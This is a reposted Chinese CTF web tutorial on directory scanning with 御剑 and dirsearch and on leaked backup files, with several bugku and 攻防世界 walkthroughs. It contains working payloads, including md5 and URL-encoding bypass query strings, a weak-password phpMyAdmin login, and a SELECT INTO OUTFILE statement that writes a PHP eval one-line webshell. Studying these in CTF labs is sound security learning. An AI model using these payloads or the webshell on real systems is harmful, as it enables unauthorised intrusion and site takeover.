zoukankan      html  css  js  c++  java
  • CTF-WEB:后台扫描与备份泄露

    后台扫描

    在拿到一个网页之后除了打开 F12 和抓包以外,还可以考虑扫一下后台,所谓扫描后台就是扫描站点的目录下还有哪些页面可以访问,看一下有没有类似管理员页面、备份文件泄露和其他文件等。

    御剑后台扫描

    御剑后台扫描是 T00LS 大牛的作品,可以用于扫描后台,同时这也为程序开发人员增加了难度,需要对的后台目录结构进行优化。御剑的用法很简单,在左下角添加需要扫描后台的域名,然后在右上角选择使用的字典,然后设置合适的线程数和扫描速度等就可以开始扫描了。扫描结果会显示在中间,点击访问即可。

    工具自带扫描的字典,同时我们也可以继续添加内容进去。

    dirsearch

    dirsearch 是一个简单的命令行工具,旨在暴力破解网站中的目录和文件。dirsearch 需要先安装 python3 的编译环境,然后在命令行 cd 进目录下。扫目录的命令为:

    python3 dirsearch.py -u <URL> -e <EXTENSION>
    

    有时候扫出一些御剑扫不出的文件,下载地址

    备份文件泄露

    题目经常需要进行代码审计,不过有时候不会把源码直接给我们,而是要我们自己发现。备份文件就是常见的源码泄露的方式,实践中往往是开发者的疏忽而忘记删除备份文件,从而导致服务器中残留源码。我们可以通过访问这些备份文件来审计代码,一般情况下可以用后台扫描工具扫描。例如 index.php,PHP 文件常见的备份文件格式有:

    index.phps
    index.php.swp
    index.php.swo
    index.php.php~
    index.php.bak
    index.php.txt
    index.php.old
    

    这里稍微解释下什么是 “phps” 后缀文件,phps 文件就是 php 的源代码文件。通常用于提供给用户(访问者)查看 php 代码,因为用户无法直接通过 Web 浏览器看到php文件的内容,所以需要用 phps 文件代替。除了 PHP 备份文件,有的时候也会遇到整个站点的源码被打包成压缩文件,被放置在网站的根目录下。

    例题:bugku-细心

    打开网页,看到一个很精致的 404,这显然不是真正的 404 页面。

    尝试 F12、抓包等手段无果后,使用御剑扫描后台,发现一个 robots.txt 文件。


    该文件指示了这个页面还有个 resusl.php 文件可以访问,访问到达另一个页面。此处得到关键提示,需要我们传入参数 x,当这个参数 x 和变量 password 相等时将发生很多事情。

    根据提示“想办法变成 admin”,这个应该就是 x 的值了,传过去得到 flag。

    例题:bugku-Trim 的日记本

    打开网页看到一个登陆页面,注意到提示说 mysql 已经炸了,接下来的思路就不往 sql 注入去想。

    F12 和抓包无果后,用御剑扫描后台,成功发现 3 个可访问的网页,在其中一个网页中得到了 flag。

    例题:bugku-备份是个好习惯

    打开网页,显示了一段不知道有什么意义的字符串。

    根据提示,应该是有个 PHP 备份文件,使用御剑扫描出一个 index.php.bak 文件。

    访问该文件,成功获得备份文件中的源码。想要 flag 显示的条件是变量 key1 和 key2 的值不相同,且它们的 md5 加密结果一样,这里无论是传数组还是使用 md5 碰撞都可以。

    <?php
    include_once "flag.php";
    ini_set("display_errors", 0);
    $str = strstr($_SERVER['REQUEST_URI'], '?');
    $str = substr($str,1);
    $str = str_replace('key','',$str);
    parse_str($str);
    echo md5($key1);
    
    echo md5($key2);
    if(md5($key1) == md5($key2) && $key1 !== $key2){
        echo $flag."取得flag";
    }
    ?>
    

    注意 str_replace 函数会把传入的变量中的 “key” 替换为空,也就是说传入的变量名为 “key1” 时,经过函数替换后变量名会变成 “1”。我们可以让变量名为 “kkeyey” 或者 “kekeyy”,这样替换之后就能够有 “key” 变量了。

    /index.php?kkeyey1[]=1&kekeyy2[]=0
    /index.php?kkeyey1=QNKCDZO&kekeyy2=s878926199a
    

    例题:bugku-bugku 导航

    打开网页,这是个 bugku 导航页面,在尝试 F12、抓包和御剑扫描后台后没有什么发现。

    根据提示 flag 在根目录下,所以还是考虑扫描后台,这里可以选择 dirsearch 来扫描。

    python ./dirsearch.py -u 123.206.87.240:9006 -e php
    

    扫描结果如下,发现了很多敏感文件,都可以打开看看。

    我们关注一个 “1.zip” 压缩包,访问后可以把它下载下来。打开压缩包后发现有个 “flag-asd.txt” 文件,打开里面什么都没有,不过在 url 上面访问这个文件就可以得到 flag。

    例题:攻防世界-PHP2

    打开网页,F12、抓包都没有发现什么有用的信息,御剑扫出来 index.php,不过点进去还是这个页面。


    这个时候可以枚举备份文件名,看看是否有这个页面的备份文件,尝试到 “index.phps” 时成功看到源码。

    <?php
    if("admin"===$_GET[id]) {
          echo("<p>not allowed!</p>");
          exit();
    }
    
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "admin")
    {
          echo "<p>Access granted!</p>";
          echo "<p>Key: xxxxxxx </p>";
    }
    ?>
    

    这里就是我们很熟悉的 urlencode 二次编码绕过,根据要求构造 payload 传入得到 flag。

    ?id=%2561dmin 
    

    例题:攻防世界-Web_php_include

    打开网页,看到一段 PHP 代码如下,观察到这段代码有 include() 函数,因此这题要考虑文件包含漏洞。strstr() 函数查找字符串首次出现的位置,然后返回字符串剩余部分。注意到这段代码使用了 strstr() 函数将传入参数中的 “php://” 全部删了,也就是说此处无法直接使用 PHP 伪协议来完成。

    <?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
    ?>
    

    除了使用 data 伪协议以外,还可以使用后台扫描的方式来做。首先用御剑扫一下后台,会扫出一个 phpmyadmin 页面,这个页面可以连接到数据库。

    打开该网页,测试使用弱口令 “root” ,密码直接不填登陆成功。


    接下来在 SQL 页面输入下面的 SQL 语句查看 “secure_file_priv” 的值是否为空。运行出来这个值为空,因此我们可以往数据库中写数据。

    SHOW VARIABLES LIKE "secure_file_priv"
    


    linux 默认 tmp 是可写入目录的,试试写入一句话木马。

    SELECT "<?php eval(@$_POST['attack']); ?>"
    INTO OUTFILE '/tmp/test.php'
    

    使用蚁剑连接,连接成功后打开 “fl4gisisish3r3.php” 就能看到 flag。

  • 相关阅读:
    Android中AsyncTask与handler
    AndroidTimer使用(三)补充篇
    Android的消息机制(一)
    Android消息处理机制(二)
    java操作Excel文件(二)
    java操作excel
    Android APK反编译详解(附图)
    Android中Handler的使用方法——在子线程中更新界面
    Android线程间通信的Message机制
    AndroidTimer使用(二)
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13543040.html
Copyright © 2011-2022 走看看